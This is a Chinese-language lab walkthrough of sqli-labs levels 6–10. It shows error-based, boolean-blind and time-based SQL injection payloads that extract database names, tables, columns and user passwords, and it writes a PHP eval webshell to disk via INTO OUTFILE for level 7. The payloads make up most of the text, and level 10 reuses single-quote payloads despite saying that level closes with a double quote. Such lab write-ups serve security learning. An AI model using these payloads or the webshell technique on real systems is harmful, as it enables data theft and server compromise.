第六关(''闭合的报错注入)
一、判断类型
1.经过尝试发现是使用双引号'' 进行闭合
二、进行注入
步骤与第五关相同
1.爆出数据库名:
?id=-1" and (updatexml(1,concat(0x7e,(schema()),0x7e),1))%23
2.爆出所有表名
?id=-1" and updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema='security'),0x7e),1) %23
3.爆出表中所有列
?id=-1" and updatexml(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_schema='security' and table_name='users'),0x7e),1) %23
4.查所有信息
?id=-1" and updatexml(1,concat(0x7e,(select group_concat(id,password)from users),0x7e),1) %23
以上第六关成功完成。
第七关(木马注入)
一、判断类型
1.正常注入,查看回显提示use outfile
2.尝试用 ' 进行注入 ,有错误回显
3.接着尝试得到正确闭合
还是没有有效回显,这时我们根据提示使用outflie函数写入一句话木马
二、进行注入
1.首先需要配置环境,在mysql.ini配置文件中设置参数secure_file_priv为空即可
2.直接写入一句话木马
?id=-1')) union select 1,"<?php eval($_REQUSET[23])?>",3 into outfile "C:\\phpstudy_pro\\WWW\\sqli.com\\sqli-labs-master\\sqli-labs-master\\Less-7\\shell.php" %23
# 填源代码的绝对路径,使用 \\ 进行防转义
发现成功写入
3.接下来用蚁剑连接
成功拿下shell,以上第七关结束。
第八关(GET型布尔盲注)
一、判断类型
1.尝试用 ' 进行注入
2.添加注释发现登录上
同时发现无论如何尝试页面只有两种显示,这里采用布尔盲注的方法
布尔盲注适用于页面有两种不同反应时。
使用到以下函数:
1.length( ):确定字符串的长度
2.if( ):判断函数
3.substr( ):截取字符串的长度
# substr(字符串,开始截取的位置,截取的长度)
4.ascii( ):将字符串转变为ASCII码
#ascii码有效部分为33-126
二、进行注入
1.先用length函数猜数据库长度
id=1' and length(schema())=8 %23
# 只有等于8的时候显示You are in...,其余数字都未登入,由此可知数据库长度为8
2.接下来逐个字符猜数据库名
?id=1' and if(ascii(substr(schema(),1,1)) =115 ,sleep(3),sleep(0)) %23
用Burpsuite抓包查看睡眠时间
剩余的字符在Burpsuite中爆破出来
攻击类型选择炸弹模式(两个变量):开始截取的位置和ascii码值
分别设置爆破点1、2
成功爆破出数据库名称:security
3.继续猜数据库中表名的长度(所有表一共的长度)
?id=1' and length((select group_concat(table_name) from information_schema.tables where table_schema=schema()))=29 %23
4.逐个猜所有表名
?id=1' and ascii(substr((select group_concat(table_name) from information_schema.tables where table_schema=schema()),1,1))=97 %23
设置Burpsuite
根据长度不同可知每个字母,手动排序一下得到表名:emali,referers,uagents,users
5.猜user表中的所有列数
?id=1'and length((select group_concat(column_name) from information_schema.columns where table_schema=schema() and table_name='users'))=20 %23
6.逐个猜列名
?id=1'and ascii(substr((select group_concat(column_name) from information_schema. columns where table_schema=schema() and table_name= 'users' ),1,1))=97 %23
爆破后可得到每个列的字母,手动排序可得列名:id,username,password
到这里第八关结束,所有信息通过盲注脚本获得。
第九关('闭合的延时注入)
一、判断类型
1.尝试寻找注入点,但是页面均一样,无法获得想要的信息。则此时需要进行关于时间的盲注,称为延时注入。
- 延时注入与布尔盲注的类型相同,都是无回显
- 布尔盲注的方法可以用于延时注入,但延时注入的方法不适用于布尔盲注
2.使用if( )函数和sleep( )函数猜表长度,猜对了就让页面睡眠3秒,猜错了就不睡眠
通过burp抓包可以知道睡眠了3 秒
二、进行注入
这里的步骤与第八关相同
1.猜数据库名字的长度:
?id=1' and if(length((schema())=8),sleep(3),sleep(0)) %23
# 通过抓包得知网页睡眠3秒,可以确定数据库长度为8
2.逐个猜数据库的字母:
?id=1' and if(ascii(substr(schema(),1,1)) =115 ,sleep(3),sleep(0)) %23
3.继续猜数据库中表名的长度:
?id=1' and length((select group_concat(table_name) from information_schema.tables where table_schema=schema()))=29 %23
4.逐个猜所有表名
?id=1' and ascii(substr((select group_concat(table_name) from information_schema. tables where table_schema=schema()),1,1))=97 %23
5.猜user表中的所有列数
?id=1'and length((select group_concat(column_name) from information_schema.columns where table_schema=schema() and table_name='users'))=20 %23
6.逐个猜列名
?id=1'and ascii(substr((select group_concat(column_name) from information_schema. columns where table_schema=schema() and table_name= 'users' ),1,1))=97 %23
第十关(''闭合的延时注入)
一、判断类型
尝试后发现是使用 " 闭合的,同样也是没有什么可用回显信息
?id=1" and if(1,sleep(3),1) %23
二、进行注入
以下方法与第八关相同
1.?id=1' and if(length((schema())=8),sleep(3),sleep(0)) %23
2.?id=1' and if(ascii(substr(schema(),1,1)) =115 ,sleep(3),sleep(0)) %23
3.?id=1' and length((select group_concat(table_name) from information_schema.tables where table_schema=schema()))=29 %23
4.?id=1' and ascii(substr((select group_concat(table_name) from information_schema. tables where table_schema=schema()),1,1))=97 %23
5.?id=1'and length((select group_concat(column_name) from information_schema.columns where table_schema=schema() and table_name='users'))=20 %23
6.?id=1'and ascii(substr((select group_concat(column_name) from information_schema. columns where table_schema=schema() and table_name= 'users' ),1,1))=97 %23